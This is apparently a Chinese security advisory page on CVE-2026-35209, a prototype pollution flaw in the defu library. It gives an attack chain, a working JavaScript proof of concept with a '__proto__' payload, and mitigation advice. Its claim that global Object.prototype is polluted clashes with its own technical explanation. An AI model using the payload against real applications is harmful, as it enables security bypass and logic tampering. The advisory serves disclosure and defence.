IPBUF安全漏洞报告
English
CVE-2026-35209 CVSS 7.5 高危

CVE-2026-35209 defu原型污染漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35209
漏洞类型
原型污染
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
defu

相关标签

原型污染defuCVE-2026-35209Node.jsJavaScript

漏洞概述

defu是一款用于递归分配默认属性的软件。在6.1.5版本之前,该软件存在原型污染漏洞。若应用程序将未经净化的用户输入(如解析的JSON请求体、数据库记录或不受信任源的配置文件)作为`defu()`的第一个参数,攻击者可构造包含`__proto__`键的恶意负载。由于内部函数使用`Object.assign`,会触发setter替换对象原型,导致绕过安全防护并篡改合并结果,影响应用程序完整性。

技术细节

该漏洞源于defu库内部`_defu`函数的实现机制。在受影响版本中,函数使用`Object.assign({}, defaults)`来复制默认对象。`Object.assign`方法在处理属性复制时,会调用属性的setter。当攻击者传入一个包含`__proto__`键的恶意对象时,`Object.assign`会将该键视为对象原型的setter,从而将结果对象的`[[Prototype]]`替换为攻击者控制的值。这导致从被污染原型继承的属性会绕过现有代码中针对`__proto__`键的`for...in`循环安全防护,最终注入到合并结果中。修复版本6.1.5通过引入对象展开语法`{ ...defaults }`替代`Object.assign`,利用`[[DefineOwnProperty]]`语义操作,避免了触发`__proto__` setter,从而有效阻断了原型污染攻击路径。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序使用了defu库(版本<6.1.5)来处理对象合并,并且该处理过程接受用户输入。
STEP 2
构造Payload
攻击者构造包含`__proto__`键的恶意JSON数据,该键的值包含想要注入的全局属性。
STEP 3
发送请求
攻击者通过HTTP请求(如POST、GET)将恶意Payload发送给应用程序的接口。
STEP 4
触发漏洞
应用程序解析输入并调用`defu(unsanitized_input, defaults)`。内部`Object.assign({}, defaults)`执行时调用`__proto__` setter,污染了`Object.prototype`。
STEP 5
利用与影响
由于原型被污染,应用程序后续创建的所有对象都会继承攻击者注入的属性,可能导致绕过安全检查、拒绝服务或逻辑篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-35209 (Prototype Pollution in defu < 6.1.5) // This demonstrates how a crafted payload can pollute the object prototype. const { defu } = require('defu'); // Assuming vulnerable version < 6.1.5 console.log("Testing CVE-2026-35209..."); // 1. Craft a malicious payload containing '__proto__' // This payload intends to inject a property 'isPolluted' into Object.prototype const maliciousInput = JSON.parse('{"__proto__": {"isPolluted": true}}'); // 2. Define default options const defaults = { setting1: "value1", setting2: "value2" }; // 3. Call defu with unsanitized user input (maliciousInput) // In vulnerable versions, the internal _defu function uses Object.assign({}, defaults) // which invokes the __proto__ setter. const mergedResult = defu(maliciousInput, defaults); // 4. Verify the prototype pollution // Create an empty object. If polluted, it should inherit 'isPolluted'. const checkObj = {}; if (checkObj.isPolluted === true) { console.log("[SUCCESS] Vulnerability confirmed! Object.prototype is polluted."); console.log("Empty object property 'isPolluted':", checkObj.isPolluted); } else { console.log("[FAIL] Vulnerability not triggered or patched."); } // Output the merged result to see the structure console.log("Merged Result:", mergedResult);

影响范围

defu < 6.1.5

防御指南

临时缓解措施
如果无法立即升级,应在调用`defu()`之前实施输入过滤,以移除或拦截包含`__proto__`、`constructor`和`prototype`等键的JSON对象。此外,使用`Object.freeze(Object.prototype)`冻结对象原型作为运行时保护措施,可以防止原型被修改,但这可能会影响依赖原型修改的其他库功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表